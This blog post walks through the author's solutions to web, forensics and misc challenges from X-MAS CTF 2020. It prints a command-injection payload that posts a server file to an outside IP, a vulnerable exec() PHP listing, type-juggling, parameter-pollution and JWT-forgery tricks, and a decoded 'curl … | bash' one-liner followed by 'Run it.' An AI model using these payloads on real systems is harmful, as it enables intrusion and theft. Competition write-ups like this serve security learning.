Solving random challenges in X-MAS Capture the Flag

X-MAS Capture the Flag is a Capture The Flag competition organized by HTsP. Every year, they prepare set of challenges from a diverse range of categories such as cryptography, web exploitation, forensics, reverse engineering, binary exploitation, hardware, algorithmics and more!
For this blog, I will write about my solutions in solving random challenges at X-MAS CTF 2020.
Solved Web Challenges:
- PHP Master (WEB)
- Gnome's Buttons v4 (WEB)
- flag_checker (WEB)
- X-MAS Chan (WEB)
Solved Forensic Challenges
- Conversation (FORENSICS)
- santass (FORESINCS)
- The Cat (FORENSICS)
- DESTRUCTION (FORENSICS)
Solved Misc Challenges
- Complaint (MISC)
- Bobi's Whacked (MISC)
PHP Master (WEB)

Visiting the target brings you to a problem written in PHP programming language.

Two parameters must be passed as arguments to the target website and you need to bypass the if
statement before you get the flag. Here are the following checks that you need to bypass:
- Both parameters must not contain
e
character - Both parameters must be the same length
- The parameters must not be equal value - including the type
- The first parameter's first character must not equal to
0
- Both parameters must be equal - excluding the type
To solve the challenge, I set the param1 value to 1337.0
while the param2 value must be equal to 001337
.
Payload: http://challs.xmas.htsp.ro:3000/?param1=1337.0¶m2=001337
Flag: X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42}
Gnome's Buttons v4 (WEB)

We're given a site with a lot of buttons and different languages.

The search field is not working but clicking the button beside it will change the language of the website.
The 3 buttons below are disabled.
The main blue button will also change the language of the website but clicking it multiple times will enable one of the button below.

Clicking the green button will append a parameter with value start=1
in the URL address.
Clicking the green button again will append another parameter with value role=user
in the URL address.
Current URL is now http://challs.xmas.htsp.ro:3006/?start=1&role=user
.

The target website spawn another container with different message and a new button.
The container welcomes the user with a message written in Dutch and translating it will give us a hint:
Looks like you didn't get off to the right start ... keep that in mind!
From that given hint, we need to change the value of start
parameter. I also noticed that there's a year range in the footer section 2020 - 2077
. Changing the value of start
parameter from 1
to 2020
will give us a new message.

The message is again written in Dutch language and translating it will give us this message: Welcome to the factory! Feel free to post anything.
.
The green button in that container also gives us another parameter which is the same with the previous parameter.
http://challs.xmas.htsp.ro:3006/?start=1&role=user&role=
I thought it was just an error but later we will be using it to solve the problem.
So going back to the main URL http://challs.xmas.htsp.ro:3006/?start=1&role=user
, I changed the value of role
parameter from user
to admin
and it gave us another hint.

The message/hint is in German language and translating it will give us this message: NOT ALLOWED! The real administrator will be notified of this incident.
Viewing the source code of that container will give us a filename.

The filename whitepaper-bhEU2011.pdf
is referencing a whitepaper by Marco Balduzzi a.k.a embyte about HTTP Parameter Pollution.
From that hint, we can now retrieve the flag for this challenge by polluting the role
parameter with user
and admin
as values.
The final URL is http://challs.xmas.htsp.ro:3006/?start=2020&role=user&role=admin
.

Flag: X-MAS{idontwannafindbugsintheamericanlanguageanymore}
flag_checker (WEB)

Visiting the target link will bring us to a page with PHP source code.
<?php
/* flag_checker */
include('flag.php');
if(!isset($_GET['flag'])) {
highlight_file(__FILE__);
die();
}
function checkFlag($flag) {
$example_flag = strtolower('FAKE-X-MAS{d1s_i\$_a_SaMpL3_Fl4g_n0t_Th3_c0Rr3c7_one_karen_l1k3s_HuMu5.0123456789}');
$valid = true;
for($i = 0; $i < strlen($flag) && $valid; $i++)
if(strpos($example_flag, strtolower($flag[$i])) === false) $valid = false;
return $valid;
}
function getFlag($flag) {
$command = "wget -q -O - https://kuhi.to/flag/" . $flag;
$cmd_output = array();
exec($command, $cmd_output);
if(count($cmd_output) == 0) {
echo 'Nope';
} else {
echo 'Maybe';
}
}
$flag = $_GET['flag'];
if(!checkFlag($flag)) {
die('That is not a correct flag!');
}
getFlag($flag);
?>
The user can supply an input to flag
parameter and pass it to checkFlag
and getFlag
function.
To pass the checkFlag
function, the user can only use the characters on the $example_flag
, otherwise the valid
variable will return false.
In getFlag
function, we can clearly see that we could inject a command injection payload but the problem is the code block will only return 2 results - Nope and Maybe.
In order to get the flag, I had to perform 2 things:
1. Create a payload that will send a request to my server and the payload must pass the checkFlag function.
2. Setup an AWS EC2 instance and use tcpdump to get the traffic coming from the challenge website.
For #1, I searched for a way to instruct the target website to send a request to my server and I found the --post-file
in this report: https://hackerone.com/reports/412021
Then reviewing the permitted characters in example_flag
, we can use the $
, {
, }
, .
, -
, 0-9
and follow the bypass filter on this page: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection#bypass-without-space.
Final Payload is ${IFS}--post-file${IFS}flag.php${IFS}54.169.180.129
If we append the payload to the wget
command in the PHP source code, it should be like this:
wget -q -O - https://kuhi.to/flag/ --post-file flag.php 54.169.180.129
For #2, I executed a command that will monitor the traffic coming to my server.

Flag: X-MAS{s0_fL4g_M4ny_IFS_bb69cd55f5f6}
X-MAS Chan (WEB)

Visiting the target brings you to a a cool page:

Clicking /b/
will redirect you to this page:

After trying to upload different file, I found out that only file extensions such as, png, jpg, and gif are allowed.
Name, Email, Subject and Comment are also being escaped or sanitized.
After spending too much time, I noticed that the image/banner at the top of the page is based on the JWT and being generated by getbanner.php
page.

Decoding the JWT from the cookie will give us clear idea about the token.

Three things I noticed in the token:
- The value of
banner
is being called/fetched from the server. - You cannot easily modify the value of
banner
toflag.php
because the token is usingHS256
algorithm. - You also need the secret key to sign the JWT.
After reading many writeups, I learned that the content of the file in kid
is being used as a secret key to sign the JWT.
So the first thing I did was to upload a simple image and copied the path of the uploaded image.
I then wrote a simple python script (based on this documentation) that will generate a JWT that is signed by the uploaded image.

Sending a GET request to /getbanner.php
with the generated JWT will give us the flag.

Flag: X-MAS{n3v3r_trust_y0ur_us3rs_k1ds-b72dcf5a49498400}
Conversation (FORENSICS)

We are given logs.pcapng
which is a file that contains a dump of data packets captured over a network.
Using the Wireshark
tool, we can see that most of the packets in the capture data is comprised of TCP.

Using tshark
command line tool, we can see that most traffic is being sent to port 80
and 443
then there's one unique port in the middle which is port 4444
.

Filtering the packets by tcp port 4444, we can easily see the secret conversation from the employees.

The secret conversation mentioned rot13 and the encrypted data looks like base64, so after first rot13ing the data then decoding it we get the flag.

Flag: X-MAS{Anna_from_marketing_has_a_new_boyfriend-da817c7129916751}
santass (FORENSICS)

We are given santass.pcapng
which is a file that contains a dump of data packets captured over a network.
Using the Wireshark
tool, I checked the content of HTTP object list and noticed the suspicious file names Z2d3a.jpg
, XJlc2.jpg
, and hhcms.jpg
.

Concatenating these 3 file name will give us Z2d3aXJlc2hhcms
and converting it with base64 will give us ggwireshark
.
Flag: X-MAS{ggwireshark}
The Cat (FORENSICS)

We are given logs.pcapng
which is a file that contains a dump of data packets captured over a network.
Checking the Protocol Hierarchy Statistics of the file, we can see that there's a huge traffic with TLS protocol.

While checking the list of ports using tshark, I noticed that there are 3 suspicious ports, 4444, 1337, and 1338.

Checking port 1337 will give us a base64 cipher text.

Decoding it with base64 will give us a public and private key of a certificate.

Checking 1338, will give us the a list of secret keys?

I copied it and saved it to use it for next steps. I also made a separate file for SSL private key.
Then I configured the TLS by importing the secret log and private key. This will help us decrypt the encrypted packets for port 4444.

After configuring TLS, I quickly search for Port 4444's traffic and discovered a ZIP file.

To export the zip file, I saved the entire packet into a RAW format and used binwalk to properly get the ZIP file.

Flag: X-MAS{yeah_nyan_is_cool_but_have_you_ever_Y3VybCAtcyAtTCBiaXQubHkvMTBoQThpQyB8IGJhc2gK-ea8f6adb7605962d}
Bonus:
Decoded text of the base64 string is: curl -s -L bit.ly/10hA8iC | bash
. Run it.
DESTRUCTION (FORENSICS)

In this challenge, bobi gave us a big file compressed in .zip format. Inside the file is a memory dump.

Using volatility, I executed normal commands such as imageinfo
to determine what profile should I use. Then using filescan
, I noticed that there's a test.txt
file inside the Desktop of a user named Johnbi.

Then running python vol.py -f ../XMAS/destroyed.elf --profile=Win7SP1x64 dumpfiles -Q 0x000000007e9e91b0 -D .
will give us the .dat file of test.txt.

Converting the content from hex to ASCII will give us the flag.
Flag: X-MAS{thanksfordumpingbro}
Complaint (MISC)

In this challenge, the description says they're redirecting the complaint to /dev/null. Tring out the challenge will greet us a question and echo back our input.

We can assume the command is something like this: echo complaint > /dev/null
which means every string you send will be discarded, forgotten into the void.
To solve this challenge, you need to bypass the it by inserting a command to get the contents of flag.txt
.

Payload: $(tac flag.txt);
Flag: X-MAS{h3ll0_k4r3n-8819d787dd38a397}
Bobi's Whacked (MISC)

For this challenge, since it is under the misc category, it could be an OSINT-type challenge wherein we will use the author's information to find the flag.
The author of this challenge is Bobi which is a friend of mine who is currently based in Romania. His real name is Vlad Toie and he recently started publishing write ups and vlogs about infosec.
His YouTube channel is https://www.youtube.com/c/BobiswHack/. Visiting the about section will give us a hex-encoded string and decoding it will give us the word: middlepart
.

In YouTube, creators can insert a text inside the video and they call it "Closed Caption or Subtitle" and it could be located in the middle part of the video. In the home section of his profile, we can easily notice that there are 2 videos with enabled Closed Caption.

So to solve this challenge and avoid watching the whole video (haha), we can extract the text from video using the timedtext
API endpoint of YouTube.


Next step is to concatenate all the strings including the middle part.
X-MAS{nice_thisisjustthefirstpart
+ middlepart
+ _congrats}
Flag: X-MAS{nice_thisisjustthefirstpartmiddlepart_congrats}